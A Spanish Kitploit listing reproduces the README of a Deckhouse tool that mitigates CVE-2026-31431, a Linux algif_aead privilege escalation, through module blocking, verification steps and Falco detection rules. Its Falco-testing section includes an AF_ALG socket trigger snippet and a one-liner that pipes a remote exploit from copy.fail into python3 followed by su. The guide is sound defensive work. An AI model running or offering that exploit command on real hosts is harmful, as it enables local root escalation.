Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
d8-copy-fail-mitigation — Mitigación nativa de Kubernetes para CVE-2026-31431 con bloqueo automatizado de módulos del kernel, reglas de detección de Falco en tiempo de ejecución y configuración de nodos basada en bashible para clústeres de Deckhouse. | Kitploit
Herramientas/GitHubGitHub/deckhouse/d8-copy-fail-mitigation
Seguridad de ContenedoresAnálisis de VulnerabilidadesAuditoría de ConfiguraciónSeguridad en la NubeDetección de IntrusionesRespuesta a Incidentes
GitHubdeckhouse/d8-copy-fail-mitigation

d8-copy-fail-mitigation

Mitigación nativa de Kubernetes para CVE-2026-31431 con bloqueo automatizado de módulos del kernel, reglas de detección de Falco en tiempo de ejecución y configuración de nodos basada en bashible para clústeres de Deckhouse.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 3 mesesAún no revisado

Mitigación de CVE-2026-31431 para Deckhouse Kubernetes Platform

Idioma: Inglés | Русский

Acerca de la vulnerabilidad

CVE-2026-31431 es una vulnerabilidad en el módulo algif_aead del kernel de Linux, que expone la API criptográfica del kernel al espacio de usuario a través de la familia de sockets AF_ALG. Un fallo en la interfaz AEAD (Cifrado Autenticado con Datos Asociados) permite que un usuario local sin privilegios desencadene una corrupción de memoria en el kernel mediante el envío de listas scatter-gather manipuladas, lo que conduce a una escalada de privilegios local o una denegación de servicio.

La superficie vulnerable es accesible desde cualquier proceso — incluidos contenedores sin privilegios — que tenga permitido llamar a socket(AF_ALG, SOCK_SEQPACKET, 0) y vincularlo a un algoritmo de tipo aead. Los entornos de ejecución de contenedores que no eliminan el perfil seccomp predeterminado o no restringen la familia de syscalls socket exponen los nodos del clúster al ataque.

La mitigación recomendada, hasta que el parche oficial del kernel se implemente mediante actualizaciones de paquetes del sistema operativo, es deshabilitar el módulo del kernel algif_aead en cada nodo del clúster y detectar intentos de explotación en tiempo de ejecución.

Archivos en este repositorio

Este repositorio contiene todo lo necesario para mitigar CVE-2026-31431 en un clúster gestionado por Deckhouse:

ngc-cve-2026-31431.yaml — mitigación del lado del nodo

El NodeGroupConfiguration se ejecuta a través de bashible en cada nodo y realiza cuatro pasos:

  1. Sondeo — abre un socket AF_ALG y lo vincula a aead/gcm(aes) para determinar si la interfaz vulnerable es accesible en el nodo.
  2. Bloqueo — escribe /etc/modprobe.d/disable-algif.conf con directivas install que evitan que algif_aead (y el paraguas af_alg) se cargue de nuevo, ya sea manualmente o como dependencia.
  3. Descarga — ejecuta rmmod algif_aead si el módulo está cargado actualmente. Se omite si el módulo está compilado en el kernel (en ese caso solo se aplican la lista de bloqueo + la detección en tiempo de ejecución).
  4. Verificación — vuelve a ejecutar el sondeo y falla el paso de bashible (código de salida no nulo) si la interfaz AEAD sigue siendo accesible, de modo que el estado de bashible muestre el nodo como no mitigado.

Idempotente: volver a ejecutar la configuración en un nodo ya mitigado no tiene efecto.

far-cve-2026-31431.yaml — detección en tiempo de ejecución

El recurso FalcoAuditRules añade una regla personalizada de Falco que genera un evento Critical cada vez que un proceso abre un socket AF_ALG y lo vincula a un algoritmo aead (el patrón de syscall único de este ataque). También emite un evento Warning cuando un proceso intenta cargar el módulo algif_aead mediante modprobe/insmod, que en un nodo mitigado nunca debería tener éxito y es una fuerte señal de un intento de explotación o una mala configuración del operador.

Nota sobre ediciones: FalcoAuditRules es procesado por el módulo runtime-audit-engine, que solo se incluye en Deckhouse Enterprise Edition (EE) y Certified Security Edition (CSE). En Community Edition, el recurso no se procesará; el NodeGroupConfiguration de este repositorio sigue aplicándose y es la mitigación principal.

Aplicación

root@kitploit:~
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE únicamente:
kubectl apply -f far-cve-2026-31431.yaml

Esperar la convergencia

Espere a que la configuración se aplique en todos los nodos observando el estado de cada NodeGroup. Bashible informa del éxito por paso en el NodeGroup, y Deckhouse lo agrega en dos campos que puede consultar:

  • .status.upToDate — número de nodos cuya última ejecución de bashible tuvo éxito con la configuración actual. La convergencia se alcanza cuando upToDate == nodes para cada grupo.
  • .status.conditionSummary.ready — "True" una vez que el grupo está sano; cambia a "False" con un motivo legible para humanos en .status.conditionSummary.statusMessage si algún paso de bashible de un nodo falla (que es exactamente lo que hace el paso de verificación en el NodeGroupConfiguration en un nodo donde no se pudo aplicar la corrección).

Una vista rápida de todos los grupos:

root@kitploit:~
kubectl get nodegroups
root@kitploit:~
NAME      TYPE      READY   NODES   UPTODATE   ...   STATUS MESSAGE
master    Static    3       3       3
worker    Cloud     5       5       5

Una comprobación automatizable que sale con 0 solo cuando todos los grupos han convergido:

root@kitploit:~
kubectl get nodegroups -o json | jq -e '
  .items[]
  | select((.status.upToDate // 0) != (.status.nodes // 0)
        or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "still converging" || echo "all node groups converged"

Si un NodeGroup se queda atascado con conditionSummary.ready == "False", lea .status.conditionSummary.statusMessage — que muestra el paso de bashible que falla, incluyendo el paso de verificación de esta mitigación.

Reversión

Una vez que el paquete oficial del kernel que contiene la corrección oficial esté instalado en todos los nodos, elimine ambos recursos:

root@kitploit:~
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml

Eliminar el NodeGroupConfiguration no elimina automáticamente /etc/modprobe.d/disable-algif.conf — límpielo manualmente si desea que el módulo vuelva a ser cargable, o deje la lista de bloqueo en su lugar si la API criptográfica del kernel no es utilizada por ninguna carga de trabajo en el clúster.

Verificación manual

En todo el clúster:

root@kitploit:~
kubectl get nodegroups

UPTODATE debe ser igual a NODES y la columna de mensaje de estado debe estar vacía para cada grupo.

En un nodo (SSH o kubectl debug node/<name> + chroot /host):

root@kitploit:~
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"

Resultado esperado:

  • cat muestra las cuatro líneas de install / blacklist.
  • lsmod está vacío.
  • modprobe -n -v imprime install /bin/false.
  • modprobe devuelve exit=1.

Verificación de activación de reglas de Falco

Utilice esta subsección para validar que las FalcoAuditRules personalizadas para CVE-2026-31431 realmente se activan en cada ejecución de PoC.

Comprobaciones previas comunes para ambos escenarios:

  1. Verifique que runtime-audit-engine esté sano en todos los nodos:
root@kitploit:~
kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
  -o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide

Resultado esperado: DESIRED == READY == AVAILABLE.

  1. Aplicar/actualizar reglas:
root@kitploit:~
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
  1. Iniciar la transmisión de registros (opcional, terminal separada):
root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m

Verificación desde un contenedor

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s

# Importante: use -i para que Python reciba el script por stdin
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY

kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'

Limpieza:

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found

Verificación desde el host del clúster

Advertencia de seguridad: revise siempre cualquier script descargado antes de ejecutarlo. No ejecute scripts remotos a ciegas en entornos de producción.

Recomendado (revisar primero, luego ejecutar):

root@kitploit:~
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su

Equivalente de una línea (solo tras revisión/aprobación):

root@kitploit:~
curl https://copy.fail/exp | python3 && su

Comprobar detecciones:

root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
Descargar herramienta
ArchivoPropósito
ngc-cve-2026-31431.yamlNodeGroupConfiguration que sondea la interfaz vulnerable, bloquea la carga de algif_aead, descarga el módulo si está cargado actualmente y verifica que la corrección es efectiva. Se aplica a todos los bundles y grupos de nodos.
far-cve-2026-31431.yamlFalcoAuditRules que detecta intentos en tiempo de ejecución de explotar la vulnerabilidad mediante sockets AF_ALG vinculados a algoritmos AEAD. Disponible solo en Deckhouse Enterprise Edition (EE) y Certified Security Edition (CSE), ya que el módulo runtime-audit-engine se incluye en esas ediciones.